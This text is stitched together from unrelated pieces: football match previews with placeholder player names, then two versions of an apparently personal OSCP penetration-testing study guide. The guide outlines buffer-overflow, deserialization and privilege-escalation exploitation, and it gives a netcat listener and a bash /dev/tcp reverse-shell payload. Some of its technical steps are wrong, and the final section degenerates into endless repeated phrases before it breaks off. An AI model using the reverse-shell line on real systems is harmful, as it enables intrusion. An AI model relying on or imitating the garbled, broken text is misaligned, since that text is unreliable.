Tercera Division RFEF Group 11 stats & predictions

• Squad News: Club C will be without their star midfielder due to suspension, while Club D is at full strength.
• Potential Lineups:
• Club C:
• GK: Player J
• Defense: Player K, Player L, Player M, Player N
• Midfield: Player O, Substitute Midfielder P (for suspended player), Player Q
• Attack: Player Y, Player R
• Club D:
• GK: Player S
• Defense: Player T, Player U, Player V, Player W
• Midfield: Player X1, Player Y1, Player Z1
• Attack: Player A1, Player B1
• Tactical Insights: Watch for how Club C adapts their midfield dynamics without their key player and how Club D capitalizes on this opportunity.

Club E vs. Club F: An Explosive Encounter

Fans can expect an explosive encounter as both teams are known for their attacking flair and quick counter-attacking style.

• Squad News: Both clubs are at full strength with no significant injury concerns.
• Potential Lineups:zachkoch/OSCP-Prep<|file_sep|>/oscp_preparation.md # OSCP Preparation ## Preface This document is my personal study guide for preparing for Offensive Security’s Certified Penetration Tester (OSCP) exam. ## Overview The OSCP exam requires students complete a series of challenges in order to obtain a target machine’s root flag within 24 hours after receiving it. The challenges include: * Enumeration * Exploitation * Privilege Escalation * Post Exploitation * Maintaining Access ## Study Guide ### General * Read/write notes as you study. * Practice writing scripts and automate tasks. * Use tools available in Kali. * Utilize google. * Follow good habits so you don’t have any bad habits when taking the exam. * The more you practice real world pentesting techniques the better. * Learn Linux commands. * Study Windows commands. ### Enumerating Targets #### Network Scanning * Understand how ARP works. * Understand what ICMP is. * Use Nmap effectively. #### Web Server Enumeration * Understand HTTP methods (GET/POST). * Understand HTTP response codes. * Understand headers and what they mean. * Use curl effectively. * Use gobuster effectively. ### Exploiting Vulnerabilities #### Buffer Overflows ##### Stack-based Buffer Overflow Vulnerability ###### Writing Shellcode 1) Disable ASLR using `echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf`. 2) Compile shellcode using `gcc -fno-stack-protector -z execstack -no-pie -c shellcode.c -o shellcode.o`. 3) Run shellcode using `./shellcode.o`. ###### Writing an Exploit Script 1) Determine vulnerability type (stack-based buffer overflow vulnerability). 2) Determine what type of shellcode needs written (32/64-bit). 3) Find offset using `pattern_create.rb` or `pattern_offset.rb`. 4) Determine if executable stack protection exists using `checksec`. 5) Determine if stack canaries exist using `checksec`. 6) Determine if NX protection exists using `checksec`. 7) If NX protection exists write ret2libc exploit using: * Find libc version using `strings /lib/libc.so.* | grep system` or `gdb -q ./vulnerable_program` * Find address of function needed using `nm /lib/libc.so.* | grep system` or `gdb -q ./vulnerable_program` * Find address of function needed using `/proc/kallsyms` * Find address of ret instruction using `objdump -d vulnerable_program | grep '[0-9a-f]a5e3'` 8) If NX protection does not exist write buffer overflow exploit. ##### Heap-based Buffer Overflow Vulnerability ###### Writing Shellcode 1) Disable ASLR using `echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf`. 2) Compile shellcode using `gcc -fno-stack-protector -z execstack -no-pie -c shellcode.c -o shellcode.o`. 3) Run shellcode using `./shellcode.o`. ###### Writing an Exploit Script 1) Determine vulnerability type (heap-based buffer overflow vulnerability). 2) Determine what type of shellcode needs written (32/64-bit). 3) Use heap spray technique by writing many copies of shellcode into memory. 4) Overwrite function pointer with address of shellcode. ##### Format String Vulnerability ###### Writing Shellcode 1) Disable ASLR using `echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf`. 2) Compile shellcode using `gcc -fno-stack-protector -z execstack -no-pie -c shellcode.c -o shellcode.o`. 3) Run shellcode using `./shellcode.o`. ###### Writing an Exploit Script 1) Determine vulnerability type (format string vulnerability). 2) Determine what type of shellcode needs written (32/64-bit). 3) Write exploit script that sends format string as input that writes desired value at desired address. #### Deserialization Vulnerabilities ##### Java Deserialization Vulnerability ###### Writing an Exploit Script 1) Write Java class that implements Serializable interface that executes arbitrary code upon deserialization. 2) Write Python script that serializes Java class. ##### PHP Deserialization Vulnerability ###### Writing an Exploit Script 1) Write PHP class that executes arbitrary code upon deserialization. 2) Write Python script that serializes PHP class. ##### .NET Deserialization Vulnerability ###### Writing an Exploit Script 1) Write .NET class that executes arbitrary code upon deserialization. 2) Write Python script that serializes .NET class. ##### Other Deserialization Vulnerabilities ###### Writing an Exploit Script 1) Research how serialization works in language used by application. 2) Research how deserialization works in language used by application. 3) Write code in language used by application that executes arbitrary code upon deserialization. 4) Write Python script that serializes code written in step #3. #### SQL Injection Vulnerability ##### Writing an Exploit Script 1) Write SQL query that retrieves information from database table(s). #### Remote Code Execution Vulnerability ##### Writing an Exploit Script 1) Research how remote code execution vulnerability works. 2) Determine what type of payload needs sent (32/64-bit). 3) Send payload as input. #### Local File Inclusion Vulnerability ##### Writing an Exploit Script 1) Send path as input that causes application to read file containing arbitrary code. #### Cross-site Request Forgery Vulnerability ##### Writing an Exploit Script 1) Send request containing malicious code as input. ### Privilege Escalation #### Kernel Module Privilege Escalation Vulnerability ##### Writing an Exploit Script 1) Research how kernel module privilege escalation vulnerability works. 2) Send payload as input. #### PATH Variable Privilege Escalation Vulnerability ##### Writing an Exploit Script 1) Add malicious binary with same name as privileged binary but located elsewhere in PATH variable. 2) Run privileged binary. #### SUID Binary Privilege Escalation Vulnerability ##### Writing an Exploit Script 1) Research SUID binary privilege escalation vulnerability exploit techniques. 2) Create malicious SUID binary located elsewhere in PATH variable than privileged SUID binary with same name as privileged SUID binary. 3) Run privileged SUID binary. ### Post Exploitation Techniques #### Maintaining Access ##### Reverse Shell ###### Setting up listener `nc -lvnp [port]` ###### Reverse Shell Payload `bash -i >& /dev/tcp/[ip]/[port] 0>&1` ### References https://www.offensive-security.com/information-security-training/penetration-testing-training/ https://www.offensive-security.com/pwk-oscp/ https://github.com/rastating/oscp-preparation/blob/master/pwk-notes.md <|file_sep|># OSCP Preparation Notes By Zach Koch March 2019 ## Preface These are my personal notes for studying for Offensive Security’s Certified Penetration Tester (OSCP) exam. ## Overview The OSCP exam requires students complete a series of challenges in order to obtain a target machine’s root flag within 24 hours after receiving it. The challenges include: * Enumeration * Exploitation * Privilege Escalation * Post Exploitation * Maintaining Access ## General Notes Read/write notes as you study. Practice writing scripts and automate tasks. Use tools available in Kali. Utilize google. Follow good habits so you don’t have any bad habits when taking the exam. The more you practice real world pentesting techniques the better. ## Network Scanning Notes Network scanning is performed after port scanning identifies open ports on target host(s). ### ARP ARP stands for Address Resolution Protocol. It maps IP addresses onto MAC addresses so data packets can be sent over networks via Ethernet cables or wireless connections between hosts. ### ICMP ICMP stands for Internet Control Message Protocol. It allows network devices like routers or switches send messages indicating network errors like “destination unreachable”. ### Nmap Nmap stands for Network Mapper. It scans networks looking for hosts or services running on them. ### Port Scanning Port scanning is performed by sending packets containing TCP SYN flags from client host(s). The server host(s), if listening on port(s), respond with packets containing TCP SYN-ACK flags. ### ARP Spoofing ARP spoofing tricks hosts into thinking attacker’s machine has same MAC address as another host by sending fake ARP responses associating attacker’s MAC address with victim’s IP address. ### DNS Spoofing DNS spoofing tricks hosts into thinking attacker’s machine has same IP address as another host by sending fake DNS responses associating attacker’s IP address with victim’s domain name. ### Ping Sweep Ping sweep scans network looking for live hosts by sending ICMP echo requests (“ping”) packets containing random data payloads. ## Web Server Enumeration Notes ### HTTP Methods GET Retrieves data from server at specified URL without modifying data stored thereon. POST Sends data from client application/browser to server at specified URL which then processes said data before returning response back client application/browser. HEAD Retrieves headers from server at specified URL without retrieving body content therein contained. OPTIONS Retrieves information about communication options supported by server at specified URL without retrieving body content therein contained. TRACE Performs loopback test along path between client application/browser and server at specified URL without retrieving body content therein contained. DELETE Removes resource identified by specified URL from server storage without retrieving body content therein contained. PUT Replaces resource identified by specified URL on server storage with new content sent from client application/browser without retrieving body content therein contained. CONNECT Tunnels TCP connection through proxy server identified by specified URL without retrieving body content therein contained. PATCH Partially modifies resource identified by specified URL on server storage based upon differences sent from client application/browser without retrieving body content therein contained. ### HTTP Response Codes 200 OK Request was successful; server returned requested resource in response payload/body content thereof contained within response packet(s). 301 Moved Permanently Request was successful; however requested resource has been moved permanently under new URL which should be used instead going forward henceforth hereafter forevermore always. 302 Found/Moved Temporarily Redirected Request was successful; however requested resource has been moved temporarily under new URL which should be used instead going forward until such time when original resource becomes available again thereafter hereafter forevermore always after which point original resource should again become accessible henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always once more once again henceforth hereafter forevermore always yet still yet even still yet ever still yet e’er still yet even still yet ever still yet e’er still yet even still yet ever still yet e’er still yet